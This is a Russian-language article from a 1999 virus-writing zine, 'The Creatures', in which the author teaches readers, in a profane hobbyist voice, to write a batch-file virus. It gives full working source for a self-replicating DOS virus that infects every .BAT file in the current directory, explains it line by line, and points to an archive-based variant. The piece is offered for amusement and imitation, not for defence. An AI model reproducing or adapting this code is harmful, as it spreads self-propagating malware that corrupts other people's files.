┌──┬──┐          /╔════╗/╦══╗ /╔═══╗  ╔═══╗ /╔══╦══╗/╦   /╦/╦══╗ /╔═══╗ ╔═══╗
   │┬  ┌──       │║   /╩│║ /╚╗│║  /  │║  │║ // │║ //│║   │║│║ /╚╗│║  /╩│║ │/╩
   │├─┐│ ░░▒▒▒▓▓▓│║▓▓▓▓▓│║▓/╔╝│║▓▓▓▓▓╔╩═══╩╗▓▓▓│║▓▓▓│║▓▓▓│║│║▓/╔╝│║▓▓▓▓│║▓▒▒░
   ││ │├─        │║     │╠══╣ │║═   │║    │║   │║   │║   │║│╠══╣ │║═   /╚═══╗
   ││ ││         │║   /╦│║  ╚╗│║  /╦│║    │║   │║   │║   ╔╝│║  ╚╗│║  /╦ ╦  │║
   │┴ ┘└─┘       /╚════╝/╩  /╩/╚═══╝/╩    /╩   /╩   /╚═══╝ /╩  /╩/╚═══╝/╚═══╝
   │ THE CREATURES │ Computer Virus Magazine │ May 1999              issue 04
   │───────────────┴─────────────────────────┴───────────────────────────────
   │
   │                           BAT-вирусы

═══════════════════════════════════════════════════════════════════════════════

   Если вам захотелось поразвлечся, а на близлежащем компе ни хрена нет, то
 ничего - той хуйни, какая там есть, хватит, ведь речь пойдет о вирусах на
 batch-языке. То есть вместо того, чтобы смотреть GIF'ы или геймиться, ежели
 ничем поумнее заняться не удается, можно за пять минут натоптать скромный
 вирь, правда, чисто экспериментальный вариант. (в полевых условиях BAT не
 выживет...)

   Дабы понять, КАК может работать простейший вир, приведу пример с
 комментариями моего вируса, написанного специально для этого выпуска за
 6.5 мин. включая тестирование. Хотя вообще-то идея нагло сдута с вира
 "KiSH" by HamadRyard. Пусть не обижается :)

   Что-ж, начнем...

> @echo off%INFECT%

   Сразу встает вопрос - на хрена это %INFECT% ? Дело в том, что это слово
 будет встречаться в каждой строчке вируса для распознания его а также
 вырезания кода вира из носителя. Дальше...

> if i%1==iINFECT goto infect
> for %%x in (*.bat) do call %0 INFECT %%x
> echo on%INFECT%
> @goto original%INFECT%

   Здесь будет нечто типа рекурсии, то есть вирус будет вызывать сам себя с
 параметром "INFECT" для заражения файлов, найденых по for %%x....
 Советую почитать доки по батникам, кто не знает, как там выглядят
 переменные и прочая бредня.

> :INFECT
> find "INFECT" %2 > nul
> if not errorlevel 1 goto end%INFECT%
> find "INFECT" < %0 > INFECT.$$$
> echo :original >> INFECT.$$$
> type %2 >> INFECT.$$$
> echo. >> INFECT.$$$
> echo :end >> INFECT.$$$
> copy /b INFECT.$$$ %2 > nul
> del INFECT.$$$ > nul
> goto end%INFECT%

   Отсюда начинается собственно процедура заражения. Сначала проверяется, не
 заражен ли файл уже (есть ли в нем "INFECT"), затем с помощью find
 отделяется вир от носителя, и к нему приписывается жертва (путем type) и
 метки :original и :end (echo). Временный infect.$$$ пишется вместо жертвы
 и стирается.

> :original
> @echo off
> echo Launched
> :end

   Тут начинается оригинальная программа.

 Кто не понял, посмотрите хелпу на find ("find /?"), хотя вообще тут
 объяснять нечего. На всякий случай запомните, что find различает регистр
 букв.

   Вообще есть всякие извраты, типа "резидентности" (doskey), полиморфности
 (см. BATalia 6 в IV#10), может это и прикольно... хотя и правда прикольно.
 Пусть мОзги работают (хотя асм и круче действует на работу мозга)
 Вообще вирусы на BAT'е, пожалуй, самые простые, по крайней мере, проще я
 не встречал - даже на бейсике необходимы хитрожопые извращения.

   Ну и в заключение - текст этого вира. Вирь не имеет названия, так,
 пример что-ли. Хотя можно назвать типа "444", догадайтесь почему 8)
 Заражает все *.BAT в текущем каталоге.

------------------------------------------------------
@echo off%INFECT%
if i%1==iINFECT goto infect
for %%x in (*.bat) do call %0 INFECT %%x
echo on%INFECT%
@goto original%INFECT%
:INFECT
find "INFECT" %2 > nul
if not errorlevel 1 goto end%INFECT%
find "INFECT" < %0 > INFECT.$$$
echo :original >> INFECT.$$$
type %2 >> INFECT.$$$
echo. >> INFECT.$$$
echo :end >> INFECT.$$$
copy /b INFECT.$$$ %2 > nul
del INFECT.$$$ > nul
goto end%INFECT%
:original
@echo off
echo Launched
:end
------------------------------------------------------

Кроме этого возможно использование архиваторов для отделения вируса от
носителя. Пример смотри в XPEH.ZIP. Суть метода в том, что в начале
zip- или arj-архива могут находится различные символы, что не влияет на
содержание архива. Подробности - в XPEH.ZIP !

                                 Ну вот и все.
                      Пожелания поскорее сдохнуть шлите на [email protected]
              /Jarod